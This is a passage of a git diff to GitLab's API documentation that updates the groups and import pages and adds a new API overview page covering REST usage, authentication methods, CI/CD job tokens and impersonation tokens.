| `order_by` | string | no | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. Default is `created_at` |
@@ -489,7 +489,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------ | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (administrators only). |
| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) |
@@ -535,6 +535,7 @@ Example response:
"expires_at": null
}
],
+ "prevent_sharing_groups_outside_hierarchy": false,
"projects": [ // Deprecated and will be removed in API v5
{
"id": 7,
@@ -673,6 +674,8 @@ Example response:
}
```
+The `prevent_sharing_groups_outside_hierarchy` attribute is present only on top-level groups.
+
Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) also see
the `shared_runners_minutes_limit` and `extra_shared_runners_minutes_limit` parameters:
@@ -835,8 +838,8 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the target group](README.md#namespaced-path-encoding) |
-| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the target group](index.md#namespaced-path-encoding) |
+| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
@@ -851,31 +854,32 @@ Updates the project group. Only available to group owners and administrators.
PUT /groups/:id
```
-| Attribute | Type | Required | Description |
-| ------------------------------------ | ------- | -------- | ----------- |
-| `id` | integer | yes | The ID of the group. |
-| `name` | string | no | The name of the group. |
-| `path` | string | no | The path of the group. |
-| `description` | string | no | The description of the group. |
-| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. |
-| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
-| `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. |
-| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
-| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
-| `project_creation_level` | string | no | Determine if developers can create projects in the group. Can be `noone` (No one), `maintainer` (Maintainers), or `developer` (Developers + Maintainers). |
-| `auto_devops_enabled` | boolean | no | Default to Auto DevOps pipeline for all projects within this group. |
-| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#creating-a-subgroup). Can be `owner` (Owners), or `maintainer` (Maintainers). |
-| `emails_disabled` | boolean | no | Disable email notifications |
-| `avatar` | mixed | no | Image file for avatar of the group. [Introduced in GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) |
-| `mentions_disabled` | boolean | no | Disable the capability of a group from getting mentioned |
-| `lfs_enabled` (optional) | boolean | no | Enable/disable Large File Storage (LFS) for the projects in this group. |
-| `request_access_enabled` | boolean | no | Allow users to request member access. |
-| `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). |
-| `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from. |
-| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
-| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
-| `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces
-| `shared_runners_setting` | string | no | See [Options for `shared_runners_setting`](#options-for-shared_runners_setting). Enable or disable shared runners for a group's subgroups and projects. |
+| Attribute | Type | Required | Description |
+| ------------------------------------------ | ------- | -------- | ----------- |
+| `id` | integer | yes | The ID of the group. |
+| `name` | string | no | The name of the group. |
+| `path` | string | no | The path of the group. |
+| `description` | string | no | The description of the group. |
+| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. |
+| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
+| `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. |
+| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
+| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
+| `project_creation_level` | string | no | Determine if developers can create projects in the group. Can be `noone` (No one), `maintainer` (Maintainers), or `developer` (Developers + Maintainers). |
+| `auto_devops_enabled` | boolean | no | Default to Auto DevOps pipeline for all projects within this group. |
+| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#creating-a-subgroup). Can be `owner` (Owners), or `maintainer` (Maintainers). |
+| `emails_disabled` | boolean | no | Disable email notifications |
+| `avatar` | mixed | no | Image file for avatar of the group. [Introduced in GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36681) |
+| `mentions_disabled` | boolean | no | Disable the capability of a group from getting mentioned |
+| `lfs_enabled` (optional) | boolean | no | Enable/disable Large File Storage (LFS) for the projects in this group. |
+| `request_access_enabled` | boolean | no | Allow users to request member access. |
+| `default_branch_protection` | integer | no | See [Options for `default_branch_protection`](#options-for-default_branch_protection). |
+| `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from. |
+| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
+| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
+| `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces
+| `shared_runners_setting` | string | no | See [Options for `shared_runners_setting`](#options-for-shared_runners_setting). Enable or disable shared runners for a group's subgroups and projects. |
+| `prevent_sharing_groups_outside_hierarchy` | boolean | no | See [Prevent group sharing outside the group hierarchy](../user/group/index.md#prevent-group-sharing-outside-the-group-hierarchy). This attribute is only available on top-level groups. [Introduced in GitLab 14.1](https://gitlab.com/gitlab-org/gitlab/-/issues/333721) |
NOTE:
The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797).
@@ -910,6 +914,7 @@ Example response:
"file_template_project_id": 1,
"parent_id": null,
"created_at": "2020-01-15T12:36:29.590Z",
+ "prevent_sharing_groups_outside_hierarchy": false,
"projects": [ // Deprecated and will be removed in API v5
{
"id": 9,
@@ -954,6 +959,8 @@ Example response:
}
```
+The `prevent_sharing_groups_outside_hierarchy` attribute is present in the response only for top-level groups.
+
### Disable the results limit **(FREE SELF)**
The 100 results limit can break integrations developed using GitLab 12.4 and earlier.
@@ -1010,7 +1017,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
The response is `202 Accepted` if the user has authorization.
@@ -1031,7 +1038,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
## Search for group
@@ -1067,7 +1074,7 @@ GET /groups/:id/hooks
| Attribute | Type | Required | Description |
| --------- | --------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
### Get group hook
@@ -1075,7 +1082,7 @@ Get a specific hook for a group.
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `hook_id` | integer | yes | The ID of a group hook |
```plaintext
@@ -1115,7 +1122,7 @@ POST /groups/:id/hooks
| Attribute | Type | Required | Description |
| -----------------------------| -------------- | ---------| ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `url` | string | yes | The hook URL |
| `push_events` | boolean | no | Trigger hook on push events |
| `issues_events` | boolean | no | Trigger hook on issues events |
@@ -1143,7 +1150,7 @@ PUT /groups/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
| ---------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `hook_id` | integer | yes | The ID of the group hook |
| `url` | string | yes | The hook URL |
| `push_events` | boolean | no | Trigger hook on push events |
@@ -1173,7 +1180,7 @@ DELETE /groups/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `hook_id` | integer | yes | The ID of the group hook. |
## Group Audit Events **(PREMIUM)**
@@ -1210,7 +1217,7 @@ GET /groups/:id/ldap_group_links
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
### Add LDAP group link with CN or filter **(PREMIUM SELF)**
@@ -1222,7 +1229,7 @@ POST /groups/:id/ldap_group_links
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cn` | string | no | The CN of an LDAP group |
| `filter` | string | no | The LDAP filter for the group |
| `group_access` | integer | yes | Minimum [access level](members.md#valid-access-levels) for members of the LDAP group |
@@ -1241,7 +1248,7 @@ DELETE /groups/:id/ldap_group_links/:cn
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cn` | string | yes | The CN of an LDAP group |
Deletes an LDAP group link for a specific LDAP provider. Deprecated. Scheduled for removal in a future release.
@@ -1252,7 +1259,7 @@ DELETE /groups/:id/ldap_group_links/:provider/:cn
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cn` | string | yes | The CN of an LDAP group |
| `provider` | string | yes | LDAP provider for the LDAP group link |
@@ -1266,7 +1273,7 @@ DELETE /groups/:id/ldap_group_links
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `cn` | string | no | The CN of an LDAP group |
| `filter` | string | no | The LDAP filter for the group |
| `provider` | string | yes | LDAP provider for the LDAP group link |
@@ -1314,7 +1321,7 @@ POST /groups/:id/share
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `group_id` | integer | yes | The ID of the group to share with |
| `group_access` | integer | yes | The [access level](members.md#valid-access-levels) to grant the group |
| `expires_at` | string | no | Share expiration date in ISO 8601 format: 2016-09-26 |
@@ -1329,7 +1336,7 @@ DELETE /groups/:id/share/:group_id
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `group_id` | integer | yes | The ID of the group to share with |
## Push Rules **(PREMIUM)**
@@ -1348,7 +1355,7 @@ GET /groups/:id/push_rule
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID of the group or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID of the group or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
```json
{
@@ -1391,15 +1398,15 @@ POST /groups/:id/push_rule
| Attribute | Type | Required | Description |
| --------------------------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `deny_delete_tag` | boolean | no | Deny deleting a tag |
| `member_check` | boolean | no | Allows only GitLab users to author commits |
| `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
-| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
-| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
-| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
-| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
+| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, for example, `Fixed \d+\..*` |
+| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, for example, `ssh\:\/\/` |
+| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, for example, `(feature|hotfix)\/*` |
+| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, for example, `@my-company.com$` |
+| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, for example, `(jar|exe)$` |
| `max_file_size` | integer | no | Maximum file size (MB) allowed |
| `commit_committer_check` | boolean | no | Only commits pushed using verified emails are allowed |
| `reject_unsigned_commits` | boolean | no | Only commits signed through GPG are allowed |
@@ -1438,15 +1445,15 @@ PUT /groups/:id/push_rule
| Attribute | Type | Required | Description |
| --------------------------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `deny_delete_tag` | boolean | no | Deny deleting a tag |
| `member_check` | boolean | no | Restricts commits to be authored by existing GitLab users only |
| `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
-| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
-| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
-| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
-| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
+| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, for example, `Fixed \d+\..*` |
+| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, for example, `ssh\:\/\/` |
+| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, for example, `(feature|hotfix)\/*` |
+| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, for example, `@my-company.com$` |
+| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, for example, `(jar|exe)$` |
| `max_file_size` | integer | no | Maximum file size (MB) allowed |
| `commit_committer_check` | boolean | no | Only commits pushed using verified emails are allowed |
| `reject_unsigned_commits` | boolean | no | Only commits signed through GPG are allowed |
@@ -1485,4 +1492,4 @@ DELETE /groups/:id/push_rule
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
diff --git a/doc/api/import.md b/doc/api/import.md
index e1585d02ae3..d556c8af971 100644
--- a/doc/api/import.md
+++ b/doc/api/import.md
@@ -20,7 +20,7 @@ POST /import/github
| `repo_id` | integer | yes | GitHub repository ID |
| `new_name` | string | no | New repository name |
| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup`. |
-| `github_hostname` | string | no | Custom GitHub enterprise hostname. Defaults to GitHub.com if `github_hostname` is not set. |
+| `github_hostname` | string | no | Custom GitHub Enterprise hostname. Do not set for GitHub.com. |
```shell
curl --request POST \
@@ -31,7 +31,8 @@ curl --request POST \
"personal_access_token": "aBc123abC12aBc123abC12abC123+_A/c123",
"repo_id": "12345",
"target_namespace": "group/subgroup",
- "new_name": "NEW-NAME"
+ "new_name": "NEW-NAME",
+ "github_hostname": "https://github.example.com"
}'
```
diff --git a/doc/api/index.md b/doc/api/index.md
new file mode 100644
index 00000000000..f1059904ac3
--- /dev/null
+++ b/doc/api/index.md
@@ -0,0 +1,847 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# API Docs **(FREE)**
+
+Use the GitLab APIs to automate GitLab.
+
+You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/api/openapi/openapi.yaml),
+to test the API directly from the GitLab user interface.
+Contributions are welcome.
+
+## REST API
+
+A REST API is available in GitLab.
+Usage instructions are below.
+For a list of the available resources and their endpoints, see
+[REST API resources](api_resources.md).
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an introduction and basic steps, see
+[How to make GitLab API calls](https://www.youtube.com/watch?v=0LsMC3ZiXkA).
+
+## SCIM API **(PREMIUM SAAS)**
+
+GitLab provides an [SCIM API](scim.md) that both implements
+[the RFC7644 protocol](https://tools.ietf.org/html/rfc7644) and provides the
+`/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_path/Users/`.
+
+## GraphQL API
+
+A [GraphQL API](graphql/index.md) is available in GitLab.
+
+With GraphQL, you can make an API request for only what you need,
+and it's versioned by default.
+
+GraphQL co-exists with the current v4 REST API. If we have a v5 API, this should
+be a compatibility layer on top of GraphQL.
+
+There were some patenting and licensing concerns with GraphQL. However, these
+have been resolved to our satisfaction. The reference implementations
+were re-licensed under MIT, and the OWF license used for the GraphQL specification.
+
+When GraphQL is fully implemented, GitLab:
+
+- Can delete controller-specific endpoints.
+- Will no longer maintain two different APIs.
+
+## Compatibility guidelines
+
+The HTTP API is versioned with a single number, which is currently `4`. This number
+symbolizes the major version number, as described by [SemVer](https://semver.org/).
+Because of this, backward-incompatible changes require this version number to
+change.
+
+The minor version isn't explicit, which allows for a stable API
+endpoint. New features can be added to the API in the same
+version number.
+
+New features and bug fixes are released in tandem with GitLab. Apart
+from incidental patch and security releases, GitLab is released on the 22nd of each
+month. Major API version changes, and removal of entire API versions, are done in tandem
+with major GitLab releases.
+
+All deprecations and changes between versions are in the documentation.
+For the changes between v3 and v4, see the [v3 to v4 documentation](v3_to_v4.md).
+
+### Current status
+
+Only API version v4 is available. Version v3 was removed in
+[GitLab 11.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36819).
+
+## How to use the API
+
+API requests must include both `api` and the API version. The API
+version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/api/api.rb).
+For example, the root of the v4 API is at `/api/v4`.
+
+### Valid API request
+
+If you have a GitLab instance at `gitlab.example.com`:
+
+```shell
+curl "https://gitlab.example.com/api/v4/projects"
+```
+
+The API uses JSON to serialize data. You don't need to specify `.json` at the
+end of the API URL.
+
+### API request to expose HTTP response headers
+
+If you want to expose HTTP response headers, use the `--include` option:
+
+```shell
+curl --include "https://gitlab.example.com/api/v4/projects"
+HTTP/2 200
+...
+```
+
+This request can help you investigate an unexpected response.
+
+### API request that includes the exit code
+
+If you want to expose the HTTP exit code, include the `--fail` option:
+
+```shell
+curl --fail "https://gitlab.example.com/api/v4/does-not-exist"
+curl: (22) The requested URL returned error: 404
+```
+
+The HTTP exit code can help you diagnose the success or failure of your REST request.
+
+## Authentication
+
+Most API requests require authentication, or only return public data when
+authentication isn't provided. When authentication is not required, the documentation
+for each endpoint specifies this. For example, the
+[`/projects/:id` endpoint](projects.md#get-single-project) does not require authentication.
+
+There are several ways you can authenticate with the GitLab API:
+
+- [OAuth2 tokens](#oauth2-tokens)
+- [Personal access tokens](../user/profile/personal_access_tokens.md)
+- [Project access tokens](../user/project/settings/project_access_tokens.md)
+- [Session cookie](#session-cookie)
+- [GitLab CI/CD job token](#gitlab-cicd-job-token) **(Specific endpoints only)**
+
+Project access tokens are supported by:
+
+- Self-managed GitLab Free and higher.
+- GitLab SaaS Premium and higher.
+
+If you are an administrator, you or your application can authenticate as a specific user.
+To do so, use:
+
+- [Impersonation tokens](#impersonation-tokens)
+- [Sudo](#sudo)
+
+If authentication information is not valid or is missing, GitLab returns an error
+message with a status code of `401`:
+
+```json
+{
+ "message": "401 Unauthorized"
+}
+```
+
+### OAuth2 tokens
+
+You can use an [OAuth2 token](oauth2.md) to authenticate with the API by passing
+it in either the `access_token` parameter or the `Authorization` header.
+
+Example of using the OAuth2 token in a parameter:
+
+```shell
+curl "https://gitlab.example.com/api/v4/projects?access_token=OAUTH-TOKEN"
+```
+
+Example of using the OAuth2 token in a header:
+
+```shell
+curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/api/v4/projects"
+```
+
+Read more about [GitLab as an OAuth2 provider](oauth2.md).
+
+### Personal/project access tokens
+
+You can use access tokens to authenticate with the API by passing it in either
+the `private_token` parameter or the `PRIVATE-TOKEN` header.
+
+Example of using the personal or project access token in a parameter:
+
+```shell
+curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
+```
+
+Example of using the personal or project access token in a header:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects"
+```
+
+You can also use personal or project access tokens with OAuth-compliant headers:
+
+```shell
+curl --header "Authorization: Bearer <your_access_token>" "https://gitlab.example.com/api/v4/projects"
+```
+
+### Session cookie
+
+Signing in to the main GitLab application sets a `_gitlab_session` cookie. The
+API uses this cookie for authentication if it's present. Using the API to
+generate a new session cookie isn't supported.
+
+The primary user of this authentication method is the web frontend of GitLab
+itself. The web frontend can use the API as the authenticated user to get a
+list of projects without explicitly passing an access token.
+
+### GitLab CI/CD job token
+
+When a pipeline job is about to run, GitLab generates a unique token and injects it as the
+[`CI_JOB_TOKEN` predefined variable](../ci/variables/predefined_variables.md).
+
+You can use a GitLab CI/CD job token to authenticate with specific API endpoints:
+
+- Packages:
+ - [Package Registry](../user/packages/package_registry/index.md). To push to the
+ Package Registry, you can use [deploy tokens](../user/project/deploy_tokens/index.md).
+ - [Container Registry](../user/packages/container_registry/index.md)
+ (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`).
+ - [Container Registry API](container_registry.md) (scoped to the job's project, when the `ci_job_token_scope` feature flag is enabled)
+- [Get job artifacts](job_artifacts.md#get-job-artifacts).
+- [Get job token's job](jobs.md#get-job-tokens-job).
+- [Pipeline triggers](pipeline_triggers.md), using the `token=` parameter.
+- [Release creation](releases/index.md#create-a-release).
+- [Terraform plan](../user/infrastructure/index.md).
+
+The token has the same permissions to access the API as the user that triggers the
+pipeline. Therefore, this user must be assigned to [a role that has the required privileges](../user/permissions.md).
+
+The token is valid only while the pipeline job runs. After the job finishes, you can't
+use the token anymore.
+
+A job token can access a project's resources without any configuration, but it might
+give extra permissions that aren't necessary. There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559)
+to redesign the feature for more strategic control of the access permissions.
+
+#### GitLab CI/CD job token security
+
+To make sure that this token doesn't leak, GitLab:
+
+- Masks the job token in job logs.
+- Grants permissions to the job token only when the job is running.
+
+To make sure that this token doesn't leak, you should also configure
+your [runners](../ci/runners/README.md) to be secure. Avoid:
+
+- Using Docker's `privileged` mode if the machines are re-used.
+- Using the [`shell` executor](https://docs.gitlab.com/runner/executors/shell.html) when jobs
+ run on the same machine.
+
+If you have an insecure GitLab Runner configuration, you increase the risk that someone
+tries to steal tokens from other jobs.
+
+#### Limit GitLab CI/CD job token access
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328553) in GitLab 14.1.
+> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-ci-job-token-scope-limit). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../user/feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+You can limit the access scope of a project's CI/CD job token to increase the
+job token's security. A job token might give extra permissions that aren't necessary
+to access specific resources. Limiting the job token access scope reduces the risk of a leaked
+token being used to access private data that the user associated to the job can access.
+
+Control the job token access scope with an allowlist of other projects authorized
+to be accessed by authenticating with the current project's job token. By default
+the token scope only allows access to the same project where the token comes from.
+Other projects can be added and removed by maintainers with access to both projects.
+
+This setting is enabled by default for all new projects, and disabled by default in projects
+created before GitLab 14.1. It is strongly recommended that project maintainers enable this
+setting at all times, and configure the allowlist for cross-project access if needed.
+
+For example, when the setting is enabled, jobs in a pipeline in project `A` have
+a `CI_JOB_TOKEN` scope limited to project `A`. If the job needs to use the token
+to make an API request to project `B`, then `B` must be added to the allowlist for `A`.
+
+To enable and configure the job token scope limit:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **Token Access**.
+1. Toggle **Limit CI_JOB_TOKEN access** to enabled.
+1. (Optional) Add existing projects to the token's access scope. The user adding a
+ project must have the [maintainer role](../user/permissions.md) in both projects.
+
+If the job token scope limit is disabled, the token can potentially be used to authenticate
+API requests to all projects accessible to the user that triggered the job.
+
+There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559) to improve
+the feature with more strategic control of the access permissions.
+
+##### Enable or disable CI job token scope limit **(FREE SELF)**
+
+The GitLab CI/CD job token access scope limit is under development and not ready for production
+use. It is deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_scoped_job_token)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_scoped_job_token)
+```
+
+### Impersonation tokens
+
+Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md).
+They can be created only by an administrator, and are used to authenticate with the
+API as a specific user.
+
+Use impersonation tokens an alternative to:
+
+- The user's password or one of their personal access tokens.
+- The [Sudo](#sudo) feature. The user's or administrator's password or token
+ may not be known, or may change over time.
+
+For more information, see the [users API](users.md#create-an-impersonation-token)
+documentation.
+
+Impersonation tokens are used exactly like regular personal access tokens, and
+can be passed in either the `private_token` parameter or the `PRIVATE-TOKEN`
+header.
+
+#### Disable impersonation
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40385) in GitLab 11.6.
+
+By default, impersonation is enabled. To disable impersonation:
+
+**For Omnibus installations**
+
+1. Edit the `/etc/gitlab/gitlab.rb` file:
+
+ ```ruby
+ gitlab_rails['impersonation_enabled'] = false
+ ```
+
+1. Save the file, and then [reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
+ GitLab for the changes to take effect.
+
+To re-enable impersonation, remove this configuration, and then reconfigure
+GitLab.
+
+**For installations from source**
+
+1. Edit the `config/gitlab.yml` file:
+
+ ```yaml
+ gitlab:
+ impersonation_enabled: false
+ ```
+
+1. Save the file, and then [restart](../administration/restart_gitlab.md#installations-from-source)
+ GitLab for the changes to take effect.
+
+To re-enable impersonation, remove this configuration, and then restart GitLab.
+
+### Sudo
+
+All API requests support performing an API request as if you were another user,
+provided you're authenticated as an administrator with an OAuth or personal
